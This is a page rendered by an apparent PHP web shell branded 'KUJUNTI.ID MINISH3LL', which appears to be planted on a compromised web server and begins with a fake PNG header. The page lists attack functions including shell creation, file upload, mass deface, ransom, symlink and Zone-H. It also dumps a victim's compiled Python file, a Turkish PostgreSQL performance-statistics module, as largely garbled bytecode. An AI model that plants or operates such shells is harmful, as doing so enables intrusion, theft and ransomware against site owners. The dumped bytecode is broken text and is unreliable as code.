\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv5/__pycache__/database_performance.cpython-310.pyc


o

��g;�@s�dZddlZddlZddlmZmZddlZddlmZejejdd�e�	e
�Zdd�Zd	d
�Z
dd
d�Zdd�Zdd�ZdS)u�
PostgreSQL veritabanı performans metrikleri için yardımcı fonksiyonlar.
Bu modül, pg_stat_statements kullanarak sunucularda çalışan sorguların performans verilerini alır.
�N)�datetime�	timedelta)�sqlz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�formatc
Cs�z(|��}|�d�|��du}|r&|�d�|��d}|r&d|vr&WdSWdStyE}zt�dt|����WYd}~dSd}~ww)	u�
    PostgreSQL sunucusunda pg_stat_statements'ın etkin olup olmadığını kontrol eder.
    
    Args:
        connection: PostgreSQL bağlantı nesnesi
        
    Returns:
        bool: Modül yüklüyse True, değilse False
    �?SELECT 1 FROM pg_extension WHERE extname = 'pg_stat_statements'NzSHOW shared_preload_librariesr�pg_stat_statementsTFz+pg_stat_statements kontrol edilirken hata: )�cursor�execute�fetchone�	Exception�logger�error�str)�
connectionr	�extension_exists�	libraries�e�r�F/var/www/html/yedekledb24/DatabaseBackupMaster/database_performance.py�pg_stat_statements_enableds


��rc
Cs�z$|��}|�d�|��dur|�d�|��ddd�WSddd�WStyJ}zt�dt|����d	d
t|���d�WYd}~Sd}~ww)u�
    PostgreSQL sunucusunda pg_stat_statements'ı etkinleştirir.
    
    Args:
        connection: PostgreSQL bağlantı nesnesi
        
    Returns:
        dict: İşlem sonucu (success, message)
    rNz1CREATE EXTENSION IF NOT EXISTS pg_stat_statementsTuQpg_stat_statements eklentisi kuruldu. Sunucuyu yeniden başlatmanız gerekebilir.)�success�messagez*pg_stat_statements eklentisi zaten kurulu.u-pg_stat_statements etkinleştirilirken hata: F�Hata: )r	r
r�commitrr
rr)rr	rrrr�enable_pg_stat_statements.s


 ��r��
total_timecCs�zWd|d�d|d�d|d�d|d�d	|d
��
}t�|�}t|�s-ddgd
�WS|��}d}|�|�|��d}t|�d�d�}	|	dkrMdnd}
|dkrX|
d}n|dkr_d}n|dkrfd}n|
d}|r�|dkr�|�d�|��ddgd
�WS|	dkr�d|
�d|
�d|
�d |
�d!|�d"�}nd|
�d|
�d#|
�d |
�d!|�d"�}|�||f�|�	�}
d$d%�|j
D�}g}|
D]l}i}t|�D]^\}}||d&kr�|r�t|�d'kr�|d(d'�d)}||||<q�||d*v�r|r�|d+�d,�|||<q�d-|||<q�||d.k�r |�r|d+�d/�|||<q�d-|||<q�||||<q�|�
|�q�d0}|�|�|��}|d|d1|d2d+�d,�|d3|d4�}|��dd5|||d6�WSt�y�}zt�d7t|����dd8t|���gd
�WYd(}~Sd(}~ww)9u�
    PostgreSQL sunucusunda en çok kaynak tüketen sorguları alır.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        limit (int): Alınacak sorgu sayısı
        order_by (str): Sıralama kriteri ('total_time', 'calls', 'rows')
        interval (str): Zaman aralığı ('hour', 'day', 'week', 'all')
        
    Returns:
        list: Sorgu istatistikleri listesi
    �host=�host� port=�port� user=�username�
 password=�password� dbname=�databaseFu)pg_stat_statements modülü etkin değil.�rr�datazSHOW server_versionr�.�
�total_exec_timerz DESC�callsz
calls DESC�rowsz	rows DESC�resetz!SELECT pg_stat_statements_reset()Tu#Sorgu istatistikleri sıfırlandı.zi
            SELECT 
                query,
                calls,
                rows,
                z  as total_time,
                z�/calls as avg_time,
                min_exec_time as min_time,
                max_exec_time as max_time,
                mean_exec_time as mean_time,
                stddev_exec_time as stddev_time,
                100.0 * z / sum(zT) OVER() AS percentage_cpu
            FROM pg_stat_statements
            ORDER BY z"
            LIMIT %s
            z�/calls as avg_time,
                min_time,
                max_time,
                mean_time,
                stddev_time,
                100.0 * cSsg|]}|d�qS)rr)�.0�descrrr�
<listcomp>�sz#get_top_queries.<locals>.<listcomp>�queryi�Nz...)r�avg_time�min_time�max_time�	mean_time�stddev_timez.2fz mszN/A�percentage_cpu�%z�
        SELECT 
            sum(calls) as total_calls,
            sum(rows) as total_rows,
            sum(total_exec_time) as total_exec_time,
            count(*) as query_count
        FROM pg_stat_statements
        ���)�total_calls�
total_rowsr,�query_count�
pg_versionuVeriler başarıyla alındı)rrr)�summaryrAu,Sorgu performans verileri alınırken hata: r)�psycopg2�connectrr	r
r�int�splitr�fetchall�description�	enumerate�len�append�closerr
rr)�db_conn�limit�order_by�interval�conn_strrr	�pg_version_queryrA�pg_version_major�time_column�order_columnr3�results�columnsr)�row�data_row�i�value�
summary_queryrB�summary_datarrrr�get_top_queriesHs�
6



����
�����
�
�"��r^c
Cs�z�d|d�d|d�d|d�d|d�d	|d
��
}t�|�}|��}|�d�|��d}|�d
�|��d}|�d�|��d}|�d�|��d}|�d�g}|��D]}	|�|	d|	dd��q\|�d�g}
|��D]}	|
�|	d|	dd��qv|�d�g}|��D]}	|�|	d|	d|	dd��q�|��dd||||||
|d�d�WSty�}zt	�
dt|����ddt|���id�WYd}~Sd}~ww) u�
    PostgreSQL veritabanı hakkında genel istatistikleri getirir.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        
    Returns:
        dict: Veritabanı istatistikleri
    rrr r!r"r#r$r%r&r'z;SELECT pg_size_pretty(pg_database_size(current_database()))rzmSELECT count(*) FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema')z\SELECT count(*) FROM pg_indexes WHERE schemaname NOT IN ('pg_catalog', 'information_schema')z<SELECT count(*) FROM pg_stat_activity WHERE state = 'active'z�
        SELECT 
            relname as table_name, 
            pg_size_pretty(pg_total_relation_size(relid)) as total_size
        FROM pg_catalog.pg_statio_user_tables
        ORDER BY pg_total_relation_size(relid) DESC
        LIMIT 5
        r;)�
table_name�sizez�
        SELECT 
            relname as table_name, 
            seq_scan + idx_scan as total_scans
        FROM pg_stat_user_tables
        ORDER BY total_scans DESC
        LIMIT 5
        )r_�scansz�
        SELECT
            indexrelname as index_name,
            relname as table_name,
            idx_scan as scans
        FROM pg_stat_user_indexes
        ORDER BY idx_scan ASC
        LIMIT 5
        r<)�
index_namer_raTu/Veritabanı istatistikleri başarıyla alındı)�db_size�table_count�index_count�active_connections�largest_tables�most_accessed_tables�least_used_indexesr(u-Veritabanı istatistikleri alınırken hata: FrN)rCrDr	r
rrGrKrLrr
rr)
rMrQrr	rcrdrerfrgrXrhrirrrr�get_database_stats�sR
6







	 ��"��rjcCsj�zd|d�d|d�d|d�d|d�d	|d
��
}t�|�}|��}t�d�}|�||f�|��}|sBdd
|��id�WSt�d�}|�||f�|��d}t�d�}	|�|	|f�g}
|��D]}|
�|d|d|dd��qft�d�}|�||f�g}
|��D]}|
�|d|d|dd��q�t�d�}|�||f�|��d}|�	�d|�d�id|�d|�d|�d|d�d|d �d!|d"�d#|d$�d%|d&�d'|d(�d)|d*�d+|d,�d-|d.�d/|d0�d1|d2�d3|d4�d5|d6�d7|
�d8|
i�d�WSt
�y4}zt�d9t
|����dd:t
|���id�WYd;}~Sd;}~ww)<u�
    Belirli bir tablo hakkında detaylı istatistikleri getirir.
    
    Args:
        db_conn: PostgreSQL bağlantı bilgileri (dict)
        table_name (str): Tablo adı
        
    Returns:
        dict: Tablo istatistikleri
    rrr r!r"r#r$r%r&r'z4SELECT * FROM pg_stat_user_tables WHERE relname = %sFuTablo bulunamadı: r(z1SELECT pg_size_pretty(pg_total_relation_size(%s))ra
        SELECT
            indexrelname as index_name,
            idx_scan as scans,
            pg_size_pretty(pg_relation_size(indexrelid)) as index_size
        FROM pg_stat_user_indexes
        WHERE relname = %s
        ORDER BY idx_scan DESC
        r;r<)rbra�
index_sizez�
        SELECT
            column_name,
            data_type,
            character_maximum_length
        FROM information_schema.columns
        WHERE table_name = %s
        ORDER BY ordinal_position
        )�column_name�	data_type�
max_lengthz9SELECT reltuples::bigint FROM pg_class WHERE relname = %sTu, tablosu istatistikleri başarıyla alındır_�
table_size�	row_count�seq_scan��seq_tup_read��idx_scan��
idx_tup_fetch��	n_tup_ins��	n_tup_upd�	�	n_tup_del�
�
n_live_tup��
n_dead_tupr+�last_vacuum��last_autovacuum��last_analyze��last_autoanalyze��indexesrWu'Tablo istatistikleri alınırken hata: rN)rCrDr	r�SQLr
rrGrKrLrr
rr)rMr_rQrr	�table_query�stats�
size_queryro�index_queryr�rX�column_queryrW�count_queryrprrrr�get_table_stats2s�6



	
�
	
�
��������	�
���
�������"��r�)rrN)�__doc__�os�loggingrrrCr�basicConfig�INFO�	getLogger�__name__r
rrr^rjr�rrrr�<module>s �

\

© KUJUNTI.ID